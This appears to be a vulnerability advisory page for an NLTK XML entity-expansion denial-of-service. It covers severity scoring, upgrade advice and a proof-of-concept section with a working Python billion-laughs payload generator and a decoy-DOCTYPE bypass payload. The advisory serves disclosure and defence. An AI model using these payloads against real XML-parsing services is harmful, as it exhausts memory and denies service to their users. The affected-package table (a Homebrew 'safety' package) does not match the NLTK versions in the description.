VulnerabilityPublished 2 Sep 2026Updated 29 Oct 2026

CVE-2026-78681: NLTK · Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses

Affects safetySource GCVE Database

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Not known to be exploited · CVSS 8.7 High : upgrade to 3.8.1_2 soon.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 4.0 base score

8.7High

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 3.8.1_2

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: None
Vulnerable system integrity: None
Vulnerable system availability: High
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: None: There is no loss of confidentiality within the Vulnerable System.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 2 Sep 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade safety to 3.8.1_2.

Affected software

Product	Affected	Fixed in
Homebrewsafety`pkg:brew/safety`Other threats	Affected >=3.3.1 <3.8.1_2	Fixed in 3.8.1_2

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `<!ENTITY>` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service. Affected call sites (<= 3.10.2): - `nltk.chunk.named_entity.load_ace_file` — parses ACE annotation XML - `nltk.internals.ElementWrapper` — converts any given string to an Element - `nltk.downloader` — `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages` libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure. This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent. --- ## Attack demonstration Reproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative. ### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`) A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input: | levels | input bytes | expanded bytes | factor | |--------|-------------|----------------|--------| | 3 | 218 | 10,000 | x45 | | 4 | 274 | 100,000 | x364 | | 5 | 330 | 1,000,000 | x3,030 | | 6 | 386 | (libexpat 2.7.1 cap trips) | - | The level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds. ```python import xml.etree.ElementTree as ET def bomb(levels): d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1)) return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>' ET.fromstring(bomb(5)) # -> element whose .text is 1,000,000 chars ``` ### 2. The patched entry point rejects it ``` >>> from nltk.internals import ElementWrapper >>> ElementWrapper(bomb(5)) EntitiesForbidden: EntitiesForbidden(name='e0', ...) ``` ### 3. Why a text-based screen is not enough An entity declaration can hide behind a decoy `<!DOCTYPE>` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not: ```python evil = '<!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>' ``` ``` raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars) nltk.xmlsec -> REJECTED (EntitiesForbidden) ``` An earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests. ### 4. Both back ends block it `nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback: ``` stdlib fallback | billion-laughs -> REJECTED (EntitiesForbidden) stdlib fallback | comment-decoy differential -> REJECTED (EntitiesForbidden) ``` Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).

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